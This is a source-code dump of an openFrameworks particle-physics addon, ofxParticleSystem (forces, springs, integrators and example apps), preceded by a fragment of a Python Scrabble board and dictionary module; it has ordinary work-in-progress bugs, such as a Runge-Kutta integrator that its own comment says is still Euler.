#print("Testing tile {} against board space {}".format(self.get_tile(current_coord), tile)) if self.get_tile(current_coord) != tile: return False current_coord = current_coord.safe_increment() return True def flip(self): """ Returns a new Board with horizontal and vertical switched, like a reflection over the line from A1 to O15""" new_board = Board() for i in range(15): for j in range(15): coord = coordinate_module.Coordinate(i, j, 0) # direction doesn't matter tile = self.get_tile(coord) new_board.add_tile(tile, coord.flip()) return new_board ################################################ # The following provides support for iteration # # and the immutable container protocol # ################################################ def __len__(self): return len(self.__tiles) def __iter__(self): return iter(self.__tiles) def __reversed__(self): return reversed(self.__tiles)<file_sep>""" This file provides an easy interface to a list of dictionary words and a tool for searching the dictionary with a regex and checking a word for inclusion in the dictionary. Note that because of copyright issues, the OWL2 is used. """ import os from re import findall FILENAME = "OWL2.txt" dictionary = open(FILENAME) wordlist = [] for word in dictionary: wordlist.append(word.strip()) def check_validity(word): return word.upper() in wordlist dictionary.seek(0) dict_string = dictionary.read() def regex_search(regexp): """Searches the dictionary for a particular regular expression, whole words only""" return [w.strip() for w in findall('\n' + regexp + '\n', dict_string)]
11193f3b3d155b86adc74eb4378aa0209341747d
[ "Markdown", "Python" ]
12
Python
C0deSamurai/verdant-ecstasy
9b060bb9d61b55ba62b6dabf8912218e5749c7c7
63e1ede8725346c6ce643b0ef58d58855cf428ff
refs/heads/master
<repo_name>morphogencc/ofxParticleSystem<file_sep>/example-attractor/src/ofApp.cpp #include "ofApp.h" //-------------------------------------------------------------- void ofApp::setup(){ ofSetWindowTitle("ofxTraerPhysics -- Attractor Example"); mParticleSystem = ofxTraerPhysics::ofxParticleSystem::make(); mParticleSystem->setBoundaryConditions(ofxTraerPhysics::ofxParticleSystem::BoundaryType::PERIODIC, 0, ofGetWidth(), 0, ofGetHeight()); mParticleSystem->setGravity(0.2); for (int i = 0; i < 500; i++) { mParticleSystem->addParticle(1.0, ofRandom(ofGetWidth()), ofRandom(ofGetHeight())); } mAttractor = ofxTraerPhysics::ofxAttractorForce::make(1000.0); mAttractor->setMinDistance(25.0); mParticleSystem->addForce(mAttractor); } //-------------------------------------------------------------- void ofApp::update(){ } //-------------------------------------------------------------- void ofApp::draw(){ ofBackground(0); ofFill(); mParticleSystem->tick(1.0); ofSetColor(128, 255, 0); mAttractor->setPosition(ofGetMouseX(), ofGetMouseY(), 0.0); ofCircle(mAttractor->getPosition()[0], mAttractor->getPosition()[1], 10); ofSetColor(0, 255, 255); for (auto particle : mParticleSystem->getParticles()) { ofCircle(particle->getPosition()[0], particle->getPosition()[1], 5); } } //-------------------------------------------------------------- void ofApp::keyPressed(int key){ } //-------------------------------------------------------------- void ofApp::keyReleased(int key){ } //-------------------------------------------------------------- void ofApp::mouseMoved(int x, int y ){ } //-------------------------------------------------------------- void ofApp::mouseDragged(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mousePressed(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseReleased(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseEntered(int x, int y){ } //-------------------------------------------------------------- void ofApp::mouseExited(int x, int y){ } //-------------------------------------------------------------- void ofApp::windowResized(int w, int h){ } //-------------------------------------------------------------- void ofApp::gotMessage(ofMessage msg){ } //-------------------------------------------------------------- void ofApp::dragEvent(ofDragInfo dragInfo){ } <file_sep>/example-noisefield/src/ofApp.cpp #include "ofApp.h" #include "ofxPerlinForce.h" //-------------------------------------------------------------- void ofApp::setup(){ ofSetWindowTitle("ofxTraerPhysics -- Noise Field Example"); mParticleSystem = ofxTraerPhysics::ofxParticleSystem::make(); mParticleSystem->setBoundaryConditions(ofxTraerPhysics::ofxParticleSystem::BoundaryType::PERIODIC, 0, ofGetWidth(), 0, ofGetHeight()); for (int i = 0; i < 100; i++) { mParticleSystem->addParticle(ofRandom(1.0, 10.0), ofRandom(ofGetWidth()), ofRandom(ofGetHeight())); } std::shared_ptr<ofxTraerPhysics::ofxPerlinForce> noiseForce = ofxTraerPhysics::ofxPerlinForce::make(5.0); mParticleSystem->addForce(noiseForce); } //-------------------------------------------------------------- void ofApp::update(){ } //-------------------------------------------------------------- void ofApp::draw(){ ofBackground(0); ofFill(); mParticleSystem->tick(1.0); //draw particles ofSetColor(0, 255, 255); for (auto particle : mParticleSystem->getParticles()) { ofCircle(particle->getPosition()[0], particle->getPosition()[1], 5); } } //-------------------------------------------------------------- void ofApp::keyPressed(int key){ } //-------------------------------------------------------------- void ofApp::keyReleased(int key){ } //-------------------------------------------------------------- void ofApp::mouseMoved(int x, int y ){ } //-------------------------------------------------------------- void ofApp::mouseDragged(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mousePressed(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseReleased(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseEntered(int x, int y){ } //-------------------------------------------------------------- void ofApp::mouseExited(int x, int y){ } //-------------------------------------------------------------- void ofApp::windowResized(int w, int h){ } //-------------------------------------------------------------- void ofApp::gotMessage(ofMessage msg){ } //-------------------------------------------------------------- void ofApp::dragEvent(ofDragInfo dragInfo){ } <file_sep>/src/ofxScalarForce.h #include "ofxForce.h" namespace ofxTraerPhysics { class ofxScalarForce : public ofxForce { public: ofxScalarForce(float f); ofxScalarForce(float fx, float fy, float fz); ~ofxScalarForce(); void apply(std::shared_ptr<ofxParticle> p); protected: }; } <file_sep>/src/ofxAttractorForce.cpp #include "ofxAttractorForce.h" using namespace ofxTraerPhysics; std::shared_ptr<ofxAttractorForce> ofxAttractorForce::make(float f) { std::shared_ptr<ofxAttractorForce> force(new ofxAttractorForce(f)); return force; } std::shared_ptr<ofxAttractorForce> ofxAttractorForce::make(float fx, float fy, float fz) { std::shared_ptr<ofxAttractorForce> force(new ofxAttractorForce(fx, fy, fz)); return force; } ofxAttractorForce::~ofxAttractorForce() { } void ofxAttractorForce::apply(std::shared_ptr<ofxParticle> p) { if (isOn()) { float distanceSq = mPosition.distance(p->getPosition()); distanceSq *= distanceSq; float forceConstant = p->getMass() / distanceSq; forceConstant = clampForce(forceConstant); ofVec3f unitVector = mPosition - p->getPosition(); unitVector.normalize(); unitVector[0] *= forceConstant*mScale[0]; unitVector[1] *= forceConstant*mScale[1]; unitVector[2] *= forceConstant*mScale[2]; p->addForce(unitVector); } } ofVec3f ofxAttractorForce::getPosition() { return mPosition; } void ofxAttractorForce::setPosition(float x, float y, float z) { mPosition = ofVec3f(x, y, z); } ofxAttractorForce::ofxAttractorForce(float f) : ofxForce(f) { mPosition = ofVec3f(0, 0, 0); } ofxAttractorForce::ofxAttractorForce(float fx, float fy, float fz) : ofxForce(fx, fy, fz) { mPosition = ofVec3f(0, 0, 0); }<file_sep>/src/ofxRungeKuttaIntegrator.h #pragma once #include "ofxIntegrator.h" #include "ofxParticleSystem.h" namespace ofxTraerPhysics { class ofxRungeKuttaIntegrator : public ofxIntegrator { public: ofxRungeKuttaIntegrator(ofxParticleSystem* particleSystem); ~ofxRungeKuttaIntegrator(); void tick(float dt); protected: }; }<file_sep>/src/ofxForce.h #pragma once #include "ofxParticle.h" namespace ofxTraerPhysics { class ofxForce { public: ~ofxForce() { }; void turnOn() { mIsOn = true; }; void turnOff() { mIsOn = false; }; bool isOn() { return mIsOn; }; void setScale(float fx, float fy, float fz) { mScale = ofVec3f(fx, fy, fz); }; virtual void apply() { }; virtual void apply(std::shared_ptr<ofxParticle> p) { }; void tick(double dt) { mTime += dt; } void setMinForce(float magnitude) { mMinForce = magnitude; } void setMaxForce(float magnitude) { mMaxForce = magnitude; } protected: ofxForce(float f) { mIsOn = true; setScale(f, f, f); mTime = 0; mMinForce = 0.1; mMaxForce = 1000; }; ofxForce(float fx, float fy, float fz) : ofxForce(1.0) { setScale(fx, fy, fz); }; float clampForce(float magnitude) { if (magnitude > mMaxForce) { return mMaxForce; } else if (magnitude < mMinForce) { return mMinForce; } else { return magnitude; } } ofVec3f mScale; bool mIsOn; double mTime; float mMinForce; float mMaxForce; }; }<file_sep>/src/ofxAlignmentForce.cpp #include "ofxAlignmentForce.h" using namespace ofxTraerPhysics; std::shared_ptr<ofxAlignmentForce> ofxAlignmentForce::make(std::shared_ptr<ofxParticleSystem> particleSystem, float f) { std::shared_ptr<ofxAlignmentForce> force(new ofxAlignmentForce(particleSystem, f)); return force; } std::shared_ptr<ofxAlignmentForce> ofxAlignmentForce::make(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz) { std::shared_ptr<ofxAlignmentForce> force(new ofxAlignmentForce(particleSystem, fx, fy, fz)); return force; } ofxAlignmentForce::ofxAlignmentForce(std::shared_ptr<ofxParticleSystem> particleSystem, float f) : ofxForce(f) { mParticleSystem = particleSystem; mNeighborDistance = 50.0; } ofxAlignmentForce::ofxAlignmentForce(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz) : ofxForce(fx, fy, fz) { mParticleSystem = particleSystem; mNeighborDistance = 50.0; } ofxAlignmentForce::~ofxAlignmentForce() { } void ofxAlignmentForce::setNeighborDistance(float separation) { mNeighborDistance = separation; } float ofxAlignmentForce::getNeighborDistance() { return mNeighborDistance; } void ofxAlignmentForce::apply(std::shared_ptr<ofxParticle> p) { ofVec3f steeringVector; for (auto particle : mParticleSystem->getParticles()) { float distance = p->getPosition().distance(particle->getPosition()); if (distance > mNeighborDistance && distance > 0) { steeringVector += particle->getVelocity(); } } steeringVector.normalize(); steeringVector *= mScale; steeringVector -= p->getVelocity(); p->addForce(steeringVector); }<file_sep>/src/ofxPropForce.cpp #include "ofxPropForce.h" using namespace ofxTraerPhysics; ofxPropForce::ofxPropForce(float f) : ofxForce(f) { } ofxPropForce::ofxPropForce(float fx, float fy, float fz) : ofxForce(fx, fy, fz) { } ofxPropForce::~ofxPropForce() { } void ofxPropForce::apply(std::shared_ptr<ofxParticle> p) { if (isOn()) { ofVec3f velocity = p->getVelocity(); velocity[0] *= mScale[0]; velocity[1] *= mScale[1]; velocity[2] *= mScale[2]; p->addForce(velocity); } } <file_sep>/src/ofxPropForce.h #include "ofxForce.h" namespace ofxTraerPhysics { class ofxPropForce : public ofxForce { public: ofxPropForce(float f); ofxPropForce(float fx, float fy, float fz); ~ofxPropForce(); void apply(std::shared_ptr<ofxParticle> p); protected: }; }<file_sep>/src/ofxRungeKuttaIntegrator.cpp #include "ofxRungeKuttaIntegrator.h" using namespace ofxTraerPhysics; ofxRungeKuttaIntegrator::ofxRungeKuttaIntegrator(ofxParticleSystem* particleSystem) : ofxIntegrator(particleSystem) { }; ofxRungeKuttaIntegrator::~ofxRungeKuttaIntegrator() { }; void ofxRungeKuttaIntegrator::tick(float dt) { /* CURRENTLY STILL EULER -- NEEDS TO BE FIXED */ mParticleSystem->clearForces(); mParticleSystem->applyForces(); for (auto p : mParticleSystem->getParticles()) { if (!p->isFree()) { ofVec3f force = p->getForces(); ofVec3f velocity = p->getVelocity(); ofVec3f position = p->getPosition(); //update position with last frame's velocity position += velocity*dt; //update velocity force *= dt / p->getMass(); velocity += force; p->setVelocity(velocity); p->setPosition(position); } } } <file_sep>/src/Perlin.h #ifndef PERLIN_H_ #define PERLIN_H_ #include <stdlib.h> #define SAMPLE_SIZE 1024 /* You can play with the number of octaves and the frequency. A reasonable starting point for constructor arguments is Perlin(2,2,1,0). You can call perlin_noise_3D(), with x, y, z, where x and x are physical location, and z is time. Play with the scale of x y and z after instantiation until you get something you like */ class Perlin { public: Perlin(int octaves, float freq, float amp, int seed); float Get(float x, float y) { float vec[2]; vec[0] = x; vec[1] = y; return perlin_noise_2D(vec); }; float perlin_noise_3D(float vec[3]); private: void init_perlin(int n, float p); float perlin_noise_2D(float vec[2]); float noise1(float arg); float noise2(float vec[2]); float noise3(float vec[3]); void normalize2(float v[2]); void normalize3(float v[3]); void init(void); int mOctaves; float mFrequency; float mAmplitude; int mSeed; int p[SAMPLE_SIZE + SAMPLE_SIZE + 2]; float g3[SAMPLE_SIZE + SAMPLE_SIZE + 2][3]; float g2[SAMPLE_SIZE + SAMPLE_SIZE + 2][2]; float g1[SAMPLE_SIZE + SAMPLE_SIZE + 2]; bool mStart; }; #endif<file_sep>/example-springs/src/ofApp.cpp #include "ofApp.h" #include "ofxSpring.h" //-------------------------------------------------------------- void ofApp::setup(){ ofSetWindowTitle("ofxTraerPhysics -- Spring Example"); mParticleSystem = ofxTraerPhysics::ofxParticleSystem::make(); mParticleA = mParticleSystem->addParticle(1.0, ofRandom(ofGetWidth()), ofRandom(ofGetHeight()), 0.0); mParticleB = mParticleSystem->addParticle(1.0, ofRandom(ofGetWidth()), ofRandom(ofGetHeight()), 0.0); std::shared_ptr<ofxTraerPhysics::ofxSpring> spring = ofxTraerPhysics::ofxSpring::make(mParticleA, mParticleB, 0.3, 0.1, 100.0); mParticleSystem->addSpring(spring); } //-------------------------------------------------------------- void ofApp::update(){ mParticleSystem->tick(); } //-------------------------------------------------------------- void ofApp::draw(){ ofBackground(0); ofFill(); ofSetColor(255, 0, 0); ofCircle(mParticleA->getPosition()[0], mParticleA->getPosition()[1], 5); ofCircle(mParticleB->getPosition()[0], mParticleB->getPosition()[1], 5); } //-------------------------------------------------------------- void ofApp::keyPressed(int key){ } //-------------------------------------------------------------- void ofApp::keyReleased(int key){ } //-------------------------------------------------------------- void ofApp::mouseMoved(int x, int y ){ } //-------------------------------------------------------------- void ofApp::mouseDragged(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mousePressed(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseReleased(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseEntered(int x, int y){ } //-------------------------------------------------------------- void ofApp::mouseExited(int x, int y){ } //-------------------------------------------------------------- void ofApp::windowResized(int w, int h){ } //-------------------------------------------------------------- void ofApp::gotMessage(ofMessage msg){ } //-------------------------------------------------------------- void ofApp::dragEvent(ofDragInfo dragInfo){ } <file_sep>/src/ofxEulerIntegrator.h #pragma once #include "ofxIntegrator.h" #include "ofxParticleSystem.h" namespace ofxTraerPhysics { class ofxEulerIntegrator : public ofxIntegrator { public: ofxEulerIntegrator(ofxParticleSystem* particleSystem); ~ofxEulerIntegrator(); void tick(float dt); protected: }; }<file_sep>/src/ofxOrbitalForce.cpp #include "ofxOrbitalForce.h" using namespace ofxTraerPhysics; ofxOrbitalForce::ofxOrbitalForce(float f) : ofxForce(f) { mMinDistance = 25; mMaxDistance = 100; mVeryFarAway = 10000000000; mPosition = ofVec3f(0, 0, 0); } ofxOrbitalForce::~ofxOrbitalForce() { } void ofxOrbitalForce::apply(std::shared_ptr<ofxParticle> p) { if (isOn()) { float distance = mPosition.distance(p->getPosition()); if (distance < mMinDistance) { distance = mMinDistance; } else if (distance > mMaxDistance) { distance = mVeryFarAway; } float forceConstant = p->getMass() / distance; ofVec3f unitVector = mPosition - p->getPosition(); unitVector = ofVec3f(unitVector[1], -unitVector[0], 0); unitVector.normalize(); unitVector[0] *= forceConstant*mScale[0]; unitVector[1] *= forceConstant*mScale[1]; unitVector[2] *= forceConstant*mScale[2]; p->setVelocity(unitVector); } } ofVec3f ofxOrbitalForce::getPosition() { return mPosition; } void ofxOrbitalForce::setPosition(float x, float y, float z) { mPosition = ofVec3f(x, y, z); } void ofxOrbitalForce::setMinDistance(float distance) { mMinDistance = distance; } void ofxOrbitalForce::setMaxDistance(float distance) { mMaxDistance = distance; }<file_sep>/src/ofxOrbitalForce.h #include "ofxForce.h" namespace ofxTraerPhysics { class ofxOrbitalForce : public ofxForce { public: ofxOrbitalForce(float f); ~ofxOrbitalForce(); void apply(std::shared_ptr<ofxParticle> p); ofVec3f getPosition(); void setPosition(float x, float y, float z); void setMinDistance(float distance); void setMaxDistance(float distance); protected: ofVec3f mPosition; float mMinDistance; float mMinDistanceSq; float mMaxDistance; float mMaxDistanceSq; float mVeryFarAway; }; }<file_sep>/src/ofxFormConstantForce.h #include "ofxForce.h" namespace ofxTraerPhysics { class ofxFormConstantForce : public ofxForce { public: ofxFormConstantForce(float f); ofxFormConstantForce(float fx, float fy, float fz); ~ofxFormConstantForce(); void apply(std::shared_ptr<ofxParticle> p); void horizontalBandsOn(int numBands); void horizontalBandsOff(); void verticalBandsOn(int numBands); void verticalBandsOff(); void armsOn(int numArms); void armsOff(); void ringsOn(int numRings); void ringsOff(); protected: bool mVerticalBands; bool mHorizontalBands; bool mArms; bool mRings; int mNumVerticalBands; int mNumHorizontalBands; int mNumArms; int mNumRings; float mSpeed; }; }<file_sep>/src/ofxSeparateForce.cpp #include "ofxSeparateForce.h" using namespace ofxTraerPhysics; std::shared_ptr<ofxSeparateForce> ofxSeparateForce::make(std::shared_ptr<ofxParticleSystem> particleSystem, float f) { std::shared_ptr<ofxSeparateForce> force(new ofxSeparateForce(particleSystem, f)); return force; } std::shared_ptr<ofxSeparateForce> ofxSeparateForce::make(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz) { std::shared_ptr<ofxSeparateForce> force(new ofxSeparateForce(particleSystem, fx, fy, fz)); return force; } ofxSeparateForce::ofxSeparateForce(std::shared_ptr<ofxParticleSystem> particleSystem, float f) : ofxForce(f) { mParticleSystem = particleSystem; mDesiredSeparation = 25.0; } ofxSeparateForce::ofxSeparateForce(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz) : ofxForce(fx, fy, fz) { mParticleSystem = particleSystem; mDesiredSeparation = 25.0; } ofxSeparateForce::~ofxSeparateForce() { } void ofxSeparateForce::setDesiredSeparation(float separation) { mDesiredSeparation = separation; } float ofxSeparateForce::getDesiredSeparation() { return mDesiredSeparation; } void ofxSeparateForce::apply(std::shared_ptr<ofxParticle> p) { ofVec3f steeringVector; for (auto particle : mParticleSystem->getParticles()) { float distance = p->getPosition().distance(particle->getPosition()); if (distance < mDesiredSeparation && distance > 0) { ofVec3f difference = p->getPosition() - particle->getPosition(); //difference.normalize(); difference /= distance; // weight the force linearly by distance steeringVector += difference; } } steeringVector.normalize(); steeringVector *= mScale; steeringVector -= p->getVelocity(); p->addForce(steeringVector); }<file_sep>/src/ofxSeekerForce.cpp #include "ofxSeekerForce.h" using namespace ofxTraerPhysics; std::shared_ptr<ofxSeekerForce> ofxSeekerForce::make(float f) { std::shared_ptr<ofxSeekerForce> force(new ofxSeekerForce(f)); return force; } std::shared_ptr<ofxSeekerForce> ofxSeekerForce::make(float fx, float fy, float fz) { std::shared_ptr<ofxSeekerForce> force(new ofxSeekerForce(fx, fy, fz)); return force; } ofxSeekerForce::ofxSeekerForce(float f) : ofxForce(f) { mTarget = ofVec3f(0,0,0); } ofxSeekerForce::ofxSeekerForce(float fx, float fy, float fz) : ofxForce(fx, fy, fz) { mTarget = ofVec3f(0,0,0); } ofxSeekerForce::~ofxSeekerForce() { } void ofxSeekerForce::setTarget(ofVec3f target) { mTarget.set(target); } ofVec3f ofxSeekerForce::getTarget() { return mTarget; } void ofxSeekerForce::apply(std::shared_ptr<ofxParticle> p) { ofVec3f flockCentroid = ofVec3f(0, 0, 0); ofVec3f steeringVector = ofVec3f(0, 0, 0); steeringVector = mTarget - p->getPosition(); steeringVector.normalize(); steeringVector *= mScale; steeringVector -= p->getVelocity(); p->addForce(steeringVector); }<file_sep>/src/ofxModifiedEulerIntegrator.cpp #include "ofxModifiedEulerIntegrator.h" using namespace ofxTraerPhysics; ofxModifiedEulerIntegrator::ofxModifiedEulerIntegrator(ofxParticleSystem* particleSystem) : ofxIntegrator(particleSystem) { }; ofxModifiedEulerIntegrator::~ofxModifiedEulerIntegrator() { }; void ofxModifiedEulerIntegrator::tick(float dt) { mParticleSystem->clearForces(); mParticleSystem->applyForces(); float tt = 0.5*dt*dt; for (auto p : mParticleSystem->getParticles()) { if (!p->isFree()) { ofVec3f force = p->getForces(); ofVec3f velocity = p->getVelocity(); ofVec3f position = p->getPosition(); ofVec3f acceleration = force * 1.0 / p->getMass(); position += velocity / dt; position += acceleration * tt; velocity += acceleration / dt; p->setVelocity(velocity); p->setPosition(position); } } } <file_sep>/src/ofxScalarForce.cpp #include "ofxScalarForce.h" using namespace ofxTraerPhysics; ofxScalarForce::ofxScalarForce(float f) : ofxForce(f) { } ofxScalarForce::ofxScalarForce(float fx, float fy, float fz) : ofxForce(fx, fy, fz) { } ofxScalarForce::~ofxScalarForce() { } void ofxScalarForce::apply(std::shared_ptr<ofxParticle> p) { if (isOn()) { p->addForce(mScale); } } <file_sep>/src/ofxCohesiveForce.cpp #include "ofxCohesiveForce.h" using namespace ofxTraerPhysics; std::shared_ptr<ofxCohesiveForce> ofxCohesiveForce::make(std::shared_ptr<ofxParticleSystem> particleSystem, float f) { std::shared_ptr<ofxCohesiveForce> force(new ofxCohesiveForce(particleSystem, f)); return force; } std::shared_ptr<ofxCohesiveForce> ofxCohesiveForce::make(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz) { std::shared_ptr<ofxCohesiveForce> force(new ofxCohesiveForce(particleSystem, fx, fy, fz)); return force; } ofxCohesiveForce::ofxCohesiveForce(std::shared_ptr<ofxParticleSystem> particleSystem, float f) : ofxForce(f) { mParticleSystem = particleSystem; mNeighborDistance = 50.0; } ofxCohesiveForce::ofxCohesiveForce(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz) : ofxForce(fx, fy, fz) { mParticleSystem = particleSystem; mNeighborDistance = 50.0; } ofxCohesiveForce::~ofxCohesiveForce() { } void ofxCohesiveForce::setNeighborDistance(float separation) { mNeighborDistance = separation; } float ofxCohesiveForce::getNeighborDistance() { return mNeighborDistance; } void ofxCohesiveForce::apply(std::shared_ptr<ofxParticle> p) { ofVec3f flockCentroid = ofVec3f(0, 0, 0); ofVec3f steeringVector = ofVec3f(0, 0, 0); for (auto particle : mParticleSystem->getParticles()) { float distance = p->getPosition().distance(particle->getPosition()); if (distance > mNeighborDistance && distance > 0) { flockCentroid += particle->getPosition(); } } flockCentroid /= mParticleSystem->getNumberOfParticles(); steeringVector = flockCentroid - p->getPosition(); steeringVector.normalize(); steeringVector *= mScale; steeringVector -= p->getVelocity(); p->addForce(steeringVector); }<file_sep>/src/ofxSpring.h #pragma once #include "ofxForce.h" namespace ofxTraerPhysics { class ofxSpring : public ofxForce { public: static std::shared_ptr<ofxSpring> make(std::shared_ptr<ofxParticle> particleA, std::shared_ptr<ofxParticle> particleB, float spring_constant, float dampening, float length); std::shared_ptr<ofxParticle> getEnd(); std::shared_ptr<ofxParticle> getOtherEnd(); float getCurrentLength(); float getRestLength(); float getSpringConstant(); float getDampeningConstant(); void setLength(float length); void setSpringConstant(float k); void setDampening(float d); void setParticle(std::shared_ptr<ofxParticle> particle); void setOtherParticle(std::shared_ptr<ofxParticle> particle); void apply(); protected: ofxSpring(std::shared_ptr<ofxParticle> particleA, std::shared_ptr<ofxParticle> particleB, float spring_constant, float dampening, float length); float mRestLength; float mDampening; float mSpringConstant; std::shared_ptr<ofxParticle> mParticle; std::shared_ptr<ofxParticle> mOtherParticle; }; }<file_sep>/src/ofxParticleSystem.cpp #include "ofxParticleSystem.h" #include "ofxEulerIntegrator.h" #include "ofxModifiedEulerIntegrator.h" #include "ofxRungeKuttaIntegrator.h" using namespace ofxTraerPhysics; const float ofxParticleSystem::DEFAULT_GRAVITY = 0.0; const float ofxParticleSystem::DEFAULT_DRAG = 0.05; std::shared_ptr<ofxParticleSystem> ofxParticleSystem::make() { std::shared_ptr<ofxParticleSystem> particleSystem(new ofxParticleSystem); return particleSystem; } ofxParticleSystem::ofxParticleSystem() { mIntegrationMethod = EULER; mBoundaryType = NONE; mMinX = 0; mMaxX = 0; mMinY = 0; mMaxY = 0; setIntegrator(mIntegrationMethod); mGravityForce = std::make_shared<ofxScalarForce>(0, DEFAULT_GRAVITY, 0); mForces.push_back(mGravityForce); mDragForce = std::make_shared<ofxPropForce>(-DEFAULT_DRAG, -DEFAULT_DRAG, -DEFAULT_DRAG); mForces.push_back(mDragForce); } ofxParticleSystem::~ofxParticleSystem() { } void ofxParticleSystem::setIntegrator(Integrator method) { switch (method) { case EULER: mIntegrator = std::make_shared<ofxEulerIntegrator>(this); break; case MODIFIED_EULER: mIntegrator = std::make_shared<ofxModifiedEulerIntegrator>(this); break; case RUNGE_KUTTA: mIntegrator = std::make_shared<ofxRungeKuttaIntegrator>(this); break; } } void ofxParticleSystem::setBoundaryConditions(BoundaryType boundary, float minX, float maxX, float minY, float maxY) { mBoundaryType = boundary; mMinX = minX; mMaxX = maxX; mMinY = minY; mMaxY = maxY; } void ofxParticleSystem::setGravity(float g) { mGravityForce = std::make_shared<ofxScalarForce>(0, g, 0); } void ofxParticleSystem::setGravity(float gx, float gy, float gz) { mGravityForce = std::make_shared<ofxScalarForce>(gx, gy, gz); } void ofxParticleSystem::setDrag(float d) { mDragForce = std::make_shared<ofxPropForce>(d, d, d); } void ofxParticleSystem::setDrag(float dx, float dy, float dz) { mDragForce = std::make_shared<ofxPropForce>(dx, dy, dz); } std::shared_ptr<ofxParticle> ofxParticleSystem::addParticle(float m) { std::shared_ptr<ofxParticle> p = ofxParticle::make(m); p->setPosition(0, 0, 0); mParticles.push_back(p); return p; } std::shared_ptr<ofxParticle> ofxParticleSystem::addParticle(float m, float x, float y) { std::shared_ptr<ofxParticle> p = ofxParticle::make(m); p->setPosition(x, y, 0); mParticles.push_back(p); return p; } std::shared_ptr<ofxParticle> ofxParticleSystem::addParticle(float m, float x, float y, float z) { std::shared_ptr<ofxParticle> p = ofxParticle::make(m); p->setPosition(x, y, z); mParticles.push_back(p); return p; } int ofxParticleSystem::getNumberOfParticles() { return mParticles.size(); } std::shared_ptr<ofxParticle> ofxParticleSystem::getParticle(int i) { return mParticles.at(i); } std::vector<std::shared_ptr<ofxParticle> > ofxParticleSystem::getParticles() { return mParticles; } void ofxParticleSystem::applyForces() { for (auto f : mForces) { for (auto p : mParticles) { f->apply(p); } } for (auto s : mSprings) { s->apply(); } } void ofxParticleSystem::clearForces() { for (auto p : mParticles) { p->clearForces(); } } void ofxParticleSystem::addForce(std::shared_ptr<ofxForce> f) { mForces.push_back(f); } int ofxParticleSystem::getNumberOfForces() { return mForces.size(); } void ofxParticleSystem::addSpring(std::shared_ptr<ofxSpring> s) { mSprings.push_back(s); } int ofxParticleSystem::getNumberOfSprings() { return mSprings.size(); } void ofxParticleSystem::clear() { mParticles.clear(); mForces.clear(); } void ofxParticleSystem::tick() { tick(1.0); } void ofxParticleSystem::tick(double dt) { mIntegrator->tick(dt); //update time-dependent forces for (auto f : mForces) { f->tick(dt); } for (auto s : mSprings) { s->tick(dt); } if (mBoundaryType == BoundaryType::BOX) { for (auto p : mParticles) { ofVec3f position = p->getPosition(); ofVec3f velocity = p->getVelocity(); if (position[0] < mMinX) { position[0] = mMinX; velocity[0] *= -1; } else if (position[0] > mMaxX) { position[0] = mMaxX; velocity[0] *= -1; } if (position[1] < mMinY) { position[1] = mMinY; velocity[1] *= -1; } else if (position[1] > mMaxY) { position[1] = mMaxY; velocity[1] *= -1; } p->setVelocity(velocity); } } else if (mBoundaryType == BoundaryType::PERIODIC) { for (auto p : mParticles) { ofVec3f position = p->getPosition(); if (position[0] < mMinX) { position[0] = mMaxX; } else if (position[0] > mMaxX) { position[0] = mMinX; } if (position[1] < mMinY) { position[1] = mMaxY; } else if (position[1] > mMaxY) { position[1] = mMinY; } p->setPosition(position); } } else if (mBoundaryType == BoundaryType::NONE) { } }<file_sep>/src/ofxParticle.h #pragma once #include "ofMain.h" namespace ofxTraerPhysics { class ofxParticle { public: static std::shared_ptr<ofxParticle> make(float mass); static std::shared_ptr<ofxParticle> make(float mass, float x, float y, float z); static std::shared_ptr<ofxParticle> make(float mass, ofVec3f position); void update(double t); void setMass(float mass); void makeFixed(); void makeFree(); ofVec3f getPosition(); ofVec3f getVelocity(); ofVec3f getForces(); void setPosition(float x, float y, float z); void setPosition(ofVec3f position); void setVelocity(ofVec3f velocity); void addForce(ofVec3f force); float getMass(); int getAge(); void setAge(int age); bool isFree(); bool isAlive(); void reset(); void clearForces(); protected: ofxParticle(float mass); ofVec3f mPosition; ofVec3f mVelocity; ofVec3f mForces; float mMass; int mAge; bool mAlive; bool mFree; }; }<file_sep>/src/ofxEulerIntegrator.cpp #include "ofxEulerIntegrator.h" using namespace ofxTraerPhysics; ofxEulerIntegrator::ofxEulerIntegrator(ofxParticleSystem* particleSystem) : ofxIntegrator(particleSystem) { }; ofxEulerIntegrator::~ofxEulerIntegrator() { }; void ofxEulerIntegrator::tick(float dt) { mParticleSystem->clearForces(); mParticleSystem->applyForces(); for(auto p : mParticleSystem->getParticles()) { if(p->isFree()) { ofVec3f force = p->getForces(); ofVec3f velocity = p->getVelocity(); ofVec3f position = p->getPosition(); force *= dt / (p->getMass()); velocity += force; position += velocity * dt; p->setVelocity(velocity); p->setPosition(position); } } } <file_sep>/src/ofxCohesiveForce.h #pragma once #include "ofxForce.h" #include "ofxParticleSystem.h" namespace ofxTraerPhysics { class ofxCohesiveForce : public ofxForce { public: static std::shared_ptr<ofxCohesiveForce> make(std::shared_ptr<ofxParticleSystem> particleSystem, float f); static std::shared_ptr<ofxCohesiveForce> make(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz); ~ofxCohesiveForce(); void setNeighborDistance(float distance); float getNeighborDistance(); void apply(std::shared_ptr<ofxParticle> p); protected: ofxCohesiveForce(std::shared_ptr<ofxParticleSystem> particleSystem, float f); ofxCohesiveForce(std::shared_ptr<ofxParticleSystem> particleSystem, float fx, float fy, float fz); std::shared_ptr<ofxParticleSystem> mParticleSystem; float mNeighborDistance; }; } <file_sep>/src/ofxFormConstantForce.cpp #include "ofxFormConstantForce.h" using namespace ofxTraerPhysics; ofxFormConstantForce::ofxFormConstantForce(float f) : ofxForce(f) { mVerticalBands = false; mHorizontalBands = false; mArms = false; mRings 